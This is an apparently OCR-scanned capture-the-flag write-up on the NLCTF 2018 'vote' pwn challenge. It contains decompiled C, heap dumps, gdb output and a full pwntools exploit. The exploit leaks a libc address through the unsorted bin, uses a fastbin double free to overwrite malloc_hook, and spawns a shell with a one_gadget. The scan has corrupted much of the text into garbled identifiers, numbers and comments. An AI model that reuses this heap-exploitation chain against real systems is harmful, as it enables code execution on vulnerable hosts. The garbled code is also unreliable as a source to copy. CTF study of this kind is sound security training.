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[*] '/home/zhangjil6/c_study/vuln/nlctf2018/pwn/vote/vote_patch
Arch: amd64-64-1ittle

RELRO: Partial RELRO

Stack: Canary found

NX: NX enabled

PIE: No PIE (©x400000)
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void create_fun()

{
_QWORD *ve@; // STe8_8@5
signed int i; // [sp+6h] [bp-26h]@1
int v2; // [sp+4h] [bp-1Ch]@3

for (i =0; i <= 15; ++i )
{
if ( !1*(&ptr + i) )
{
write_fun2("Please enter the name's size: ");
v2 = input_num();
if (v2 > 0 & Vv2 <= 4096 )
{
vl = malloc(v2 + 16);
*ve = OLL;
vO[1] = time(OLL);
write_fun2("Please enter the name: ");
input_name((__int64)(ve + 2), v2);
*(&ptr + i) = vo;
}

return;
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__int64 show_fun()

{
int v1; // [sp+Ch] [bp-124h]@1
char s; // [sp+10h] [bp-1206h]@1
__int64 v3; // [sp+128h] [bp-8h]@1

v3 = *MK_FP(__FS__, 40LL);

memset(&s, ©, Ox10AuLlL);

write fun2("Please enter the index: ");

vl = input_num();

if (vl >= 0 && v1 <= 15 && *(&ptr + v1) )

{
snprintf(
&s,
0x100ulLlL,
"name: %s\ncount: %lu\ntime: %1lu",
(char *)*(&ptr + v1) + 16,
*(_QWORD *)*(&ptr + v1),
*((_QWORD *)*(&ptr + v1) + 1));
write fun(&s);
}
return *MK_FP(__FS__, 40LL) ~ v3;
}
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__int64 vote_fun()
{
char *vo@; // rbx@4
int v2; // [sp+Ch] [bp-24h]@1
pthread_t newthread; // [sp+10h] [bp-206h]@4
__inte4 v4; // [sp+18h] [bp-18h]@1

v4 = *MK_FP(__FS__, 4@0LL);
write_fun2("Please enter the index: ");
v2 = input_num();
if (v2 >= 0 && v2 <= 15 && *(&ptr + v2) )
{
++*(_QWORD *)*(&ptr + v2);
vl = (char *)*(&ptr + v2) + 8;
*(_QWORD *)v@ = time(OLL);
index_dword_602160 = v2;
pthread_create(&newthread, OLL, (void *(*)(void *))start_routine, OLL);

)
return *MK_FP(__FS__, 40LL) ~ v4;
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__int64 result_fun()

{
signed int i; // [sp+Ch] [bp-124h]@1
char s; // [sp+1@h] [bp-1206h]@1
__int64 v3; // [sp+128h] [bp-8h]@1

v3 = *MK_FP(__FS__, 40LL);
memset(&s, 0, Ox10AuLL);
for (i =0; i <=15; ++i )

{
if ( gword_602180[i] )
{
snprintf(&s, 0x100uLL, "%d\t->\t%lu", (unsigned int)i, qword_602186[i]);
write fun(&s);
fflush(stdout);
}
}
return *MK_FP(__FS__, 4@LL) ~ v3;
}
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void cancel_fun()

{
int v@; // [sp+Ch] [bp-4h]@1

write_fun2("Please enter the index: ");
ve = input_num();
if (ve >= 0 && vO <= 15 && *(&ptr + vO) )
{

if ( --qword_602180[v@] == --*(_QWORD *)*(&ptr + vO) )

{

if ( qword_602180[vO] < 0 )
free(*(&ptr + v0));

}
else if ( gword_602180[vO] < © )

{
printf("%s", (char *)*(&tr + index_dword_602160) + 16);

fflush(stdout);
write_fun(" has freed");
free(*(&ptr + v0));
*(&ptr + vO) = OLL;
}
}
}
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#!/usr/bin/python

from pwn import *

p = process('./vote_patch')

#p = remote(ip, port)

libc = ELF('/1lib/x86_64-1linux-gnu/1d-2.23.s0")
def create(sz, name):

def result():

def cancel(can_num):
p.recvuntil('Action: ')
p.sendline(str(4))
p.recvuntil('Please enter the index: ')
p.sendline(str(can_num)) #bug here

def exit():

for i in range(90,4):
create(180, chr(Ox61+i)*1) #0xd0-0x10-0x10=176~180

cancel(1l) #BfHunsorte bin

show(1) #tleak fd get libc base addr

nouse_datal = p.recvuntil('count:') #MIZIKERBFRICEFIERER
datal = p.recvuntil('\ntime")

datal = int(datal[:-5])

print 'unsortedbin[@] address: ' + hex(datal)

main_arena_addr = datal - 0x58

print 'main_arena address: ' + hex(main_arena_addr)
main_arena_offset = 0x3c4b20 #get it by libc.so
libc_addr = main_arena_addr - main_arena_offset
print 'libc_addr: ' + hex(libc_addr)

fastbin attack
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print "malloc 4 5 chunk”
create(80, chr(ox41)) #index 4
create(16, chr(ex42)) #index 5

HitHi - - - - - free(2) to get the big unsorted bin ---------------"-------_-
cancel(2) #free (p2)
HHHH- - - - ----- malloc Ox70 index 6------------------ -

payload_index6 = p64(Q) + p64(Q) + p64(0x30) + p64(0xdl) + p8(0x0)*16 #OxdO---->0Oxd1i & A KME& 3, Bk NEHE AN 7
Tt B LR R

create(80, payload_index6) #f{¥index 6 chunkBH%,

#Hi#F B E —Hox90 i N 77

create(0x70, 'A')

###in fact, the operation is necessary here. Bk RANFE 12

print 'free index 2 chunk'

cancel(2)

# EHfree(p2) MEMEBX —HlFlunsorted bind, AFEHHIE—Hox70k, Mp2ddI Tk, FIFEpes (0x71) (HE L free(p6)ht
BRI T KD

payload_index2 = p64(0)*2 + p64(0)*2 + p64(0) + p64(0x71)

create(80, payload_index2)

print 'free index 2 4 6'

raw_input()

cancel(2) #free(p2)

cancel(4) #free(p4)

cancel(6) #free(6) REIHENFER, ERfastbins[@]H4ER*XFRindex6->index4->index2->?

43 Bic chunk®) malloc_hookft it
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shello #AEWIT:

main_arena - 0x33 XM hik (& X WA R BEEA 3

print 'malloc index 6 to fill the content to make the index2 fd = main_arena - ©x33'

payload_index6 = p64(0)*2 + p64(0) + p64(0x71) + p64(main_arena_addr-0x33) + p64(0)

create(80,payload_index6) #get chunk index 6, fastbins[@x70]: 4->2->malloc_hook

create(80, 'A'*4)  #fill chunk index 4

create(80, 'B'*4)  #get the index 2 chunk

print "will get the chunk malloc_hook"

print "one_gadget shell"

one_gadget offset=0xf1147 #0x4526a execve("/bin/sh", rsp+0x30, environ),if not work,change another one_gadget
one_gadget = libc_addr + one_gadget_offset

print ‘one_gedget address: + hex(one_gadget)

payload = 'C'*0x3 + p64(one_gadget)

create(80, payload) #fill the chunk malloc_hook

- - - - - - malloc() to trigger to execve('/bin/sh', ....)------cc-mmmmmmm-
p.recvuntil('Action: ')

.sendline(str(0))

.recvuntil("Please enter the name's size: ")

.sendline(str(80))

.interactive()
INGE
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AFELAAL:

0x1a3cl70: 0x0000000000000000 ©0x0000000000000071
0x1a3cl180: 0x0000000000000000 0Ox0VVVVVRBSaabdlfa
0x1a3c190: 0x0000000000000000 ©x0000000000000000
Oxla3clad: 0x0000000000000030 ©x00000000000000d0
0x1a3c1bo: (p2) Oxffffffffffffffff ©x000000005aabdlf7 #0xde free(p2) A fkHilt&Iox30, K{EREKEETunlinkMigd, &+
Fexla3c18e fd, frllgioxdl, FHiE&FF

Oxla3clcO: 0Ox0000000000000063 ©x0000000000000000
0xla3cldd: 0x0000000000000000 ©x0000000000000000
Oxla3cle@: 0x0000000000000000 ©x0000000000000091
Oxla3clf@: ©Ox00000000000V0000  0Ox0VVVVVRRSaabdlfa
0x1a3c200: 0x0000000000000041 ©x0000000000000000
0x1a3c210: 0x0000000000000000 ©x0000000000000000
0x1a3c220: 0x0000000000000000 ©x0000000000000000
0x1a3c230: 0x0000000000000000 ©x0000000000000000
0x1a3c240: 0x0000000000000000 ©x0000000000000000
0x1a3c250: ©Ox0000000000000000 ©x0000000000000000
0x1a3c260: 0x0000000000000000 ©x0000000000000000
0x1a3c270: 0Ox0000000000000090  ©x00000000000000d1
0x1a3c280: 0x0000000000000000  Ox00VVVVBBS5aabdlf7
0x1a3c290: 0Ox0000000VVVVRRR64  ©x0000000000000000
0xla3c2ad: 0Ox0000000000000000  ©x0000000000000000
ATV 2:

oxbfd170: 0x0000000000000000  Ox0000000000000101
oxbfd180: 0x0000717173249b78 0x0000717173249b78
oxbfd190: 0x0000000000000000  Ox0000000V00000000
oxbfdlao: 0x0000000000000030  Ox0000000000000Ad0

Oxbfdlbe: (p2) exffffffffffffffff ©x000000005aabced6 #7 T F|Oxbfb278: OxdOMHp2 ELHBIN T, AW R FH BB &k
Kdouble free 4#iR, FFULBEANE —Hox90 Eimalloc(0x70, ‘A’),{f#750xbfb2780xdo3EKoxdl

oxbfdlce: 0x0000000000000063  ©x00000VVVVVVBAVV0
oxbfdide: 0x0000000000000000  ©x000000V0VVVBAV0
oxbfdleo: 0x0000000000000000 ©x00000000VVVBAV0
oxbfdlfo: 0x0000000000000000 ©x00000VVOVVVV00
oxbfd200: 0x0000000000000000  ©x00000AVVVVVBAV0
oxbfd210: 0x0000000000000000  ©x0000000VVVVBAVV0
oxbfd220: 0x0000000000000000 ©x00000VVVVVVBAV0
oxbfd230: 0x0000000000000000 ©x00000VVVVVVBAV0
oxbfd240: 0x0000000000000000  ©x00000VVVVVBAVV0
oxbfd250: 0x0000000000000000  ©x00000VVVVVBVV0
oxbfd260: 0x0000000000000000 ©x00000VVVVVVBAVV0
oxbfd270: 0x0000000000000100  ©x00000VVVVd0
oxbfd280: 0x0000000000000000  Ox00VVLVB5aabce96
oxbfd290: 0x0000000000000064  ©x00000VVVVVVBVV0
oxbfd2a0: 0x0000000000000000  ©x00000VVVVVBAVV0
oxbfd2be: 0x0000000000000000 ©Ox00000VVVVVVBVV0
oxbfd2co: 0x0000000000000000  ©x00000VVVVVVBVV0
AhFEBELH3:

pwndbg> p/x &main_arena

$1 = Ox7f39ce838b20

pwndbg> x/20gx 0x7f39ce838b20-0x33

Ox7f39ce838aed <_IO_wide_data_0+301>: 0x39ce837260000000 0x00VVOOOOOOLOT7T
Ox7f39ce838afd: ©x39ced4f9e20000000 ©0x39cedf9a00000O7 T

0x7139ce838b0d <_ realloc_hook+5>: 0x000000000000007f OXx00000000000V00

Ox7+39ce838bld:

0x7f39ce838b2d

0x0100000000000000
<main_arena+13>:

0X0000000000000000

0X0000000000000000

0x0000000000000000



S exp
ZHub 16.04 390883

zhangjile@zhangjilévm:~/c_study/vuln/nlctf2018/pwn/vote$ python vote_exp3.py

[+] Starting local process './vote_patch': pid 9469
[*] '/1ib/x86_64-1inux-gnu/1d-2.23.s0’

Arch: amd64-64-1little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

[*] '/home/zhangjil6/c_study/vuln/nlctf2018/pwn/vote/vote_patch'’
Arch: amd64-64-1ittle
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (©x400000)

unsortedbin[@] address: @x7f4f3a36bb78
main_arena address: @x7f4f3a36bb20
libc_addr: 0x7f4f39fa7000

one_gedget address: @x7f4f3a098147

[*] Switching to interactive mode

$ id

uid=1000(zhangjile) gid=1000(zhangjil6) #1=1000(zhangjil6),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(1lpa
dmin),128(sambashare)

#!/usr/bin/python
from pwn import *

p = process('./vote_patch')

#p = remote(ip, port)

libc = ELF('/1ib/x86_64-1inux-gnu/1d-2.23.s0")
elf = ELF('./vote_patch')

def create(sz, name):
p.recvuntil('Action: ')
p.sendline(str(0))
p.recvuntil("Please enter the name's size: ")
p.sendline(str(sz))
p.recvuntil('Please enter the name: ')
p.sendline(name)

def show(index_num):
p.recvuntil('Action: ')
p.sendline(str(1))
p.recvuntil('Please enter the index: ')
p.sendline(str(index_num))

def vote(vote_index):
p.recvuntil('Action: ')
p.sendline(str(2))
p.recvuntil('Please enter the index: ')
p.sendline(str(vote_index)) ###tips: new thread

def result():
p.recvuntil('Action: ')
p.sendline(str(3))



def cancel(can_num):
p.recvuntil('Action: ')
p.sendline(str(4))
p.recvuntil('Please enter the index: ")
p.sendline(str(can_num)) ##double free

def exit():
p.recvuntil('Action: ')
p.sendline(str(5))

for i in range(0,4):
create (180, chr(0x61+i)*1)

- - - - - - - - - - free(l) to leak the unsortedbin_addr---------------c-coomoo-
#i### /1ib/x86_64-1inux-gnu/libc-2.23.s0 local pc ubl6.04

cancel(1)

show(1)

nouse_datal = p.recvuntil('count:")

datal = p.recvuntil('\ntime")

datal = int(datal[:-5])

print 'unsortedbin[@] address: ' + hex(datal)
main_arena_addr = datal - ©x58

print 'main_arena address: ' + hex(main_arena_addr)
main_arena_offset = 0@x3c4b20

libc_addr = main_arena_addr - main_arena_offset
print 'libc_addr: ' + hex(libc_addr)

print "malloc 4 5 chunk"
create(80, chr(ex41)) #index 4
create(16, chr(ex42)) #index 5

o R free(2) to get the big unsorted bin ------------"-----------
cancel(2)
H#tHH- - - - === - malloc Ox70 index 6----------ccocccm oo

payload_index6 = p64(0) + p64(0) + p64(0x30) + p64(0xdl) + p8(0x0)*16
create(80, payload_index6) #index 6

Hi#H

create(0x70, 'A')

###in fact, the operation is necessary here.

print 'free index 2 chunk'

cancel(2)

print 'malloc ©x70 then fill content to fit the index 6 alignment'
payload_index8 = p64(0)*2 + p64(0)*2 + p64(0) + p64(0x71)
create(80, payload_index8)

print ‘'free 2 4 6°'
cancel(2)
cancel(4)
cancel(6)

print 'malloc index 6 to fill the content to make the index2 fd = main_arena - ©0x33'
payload_index6 = p64(0)*2 + p64(0) + p64(0x71) + p64(main_arena_addr-0x33) + p64(0)
create(80,payload_index6) #get chunk index 6

create(80, 'A'*4)  #fill chunk index 4

create(80, 'B'*4)  #get the index 2 chunk

print "will get the chunk malloc_hook"



print "one_gadget shell”
one_gadget_offset = Oxf1147 #0x4526a execve("/bin/sh", rsp+0x30, environ),if not work,change another one_gadget
one_gadget = libc_addr + one_gadget_offset

print 'one_gedget address: ' + hex(one_gadget)

payload = 'C'*@x3 + p64(one_gadget)

create(80, payload) #fill the chunk malloc_hook

- - - - - - - - - - malloc() to trigger to execve('/bin/sh', ....)-----------commmo---
p.recvuntil('Action: ')

p.sendline(str(o))

p.recvuntil("Please enter the name's size: ")

p.sendline(str(80))

p.interactive()
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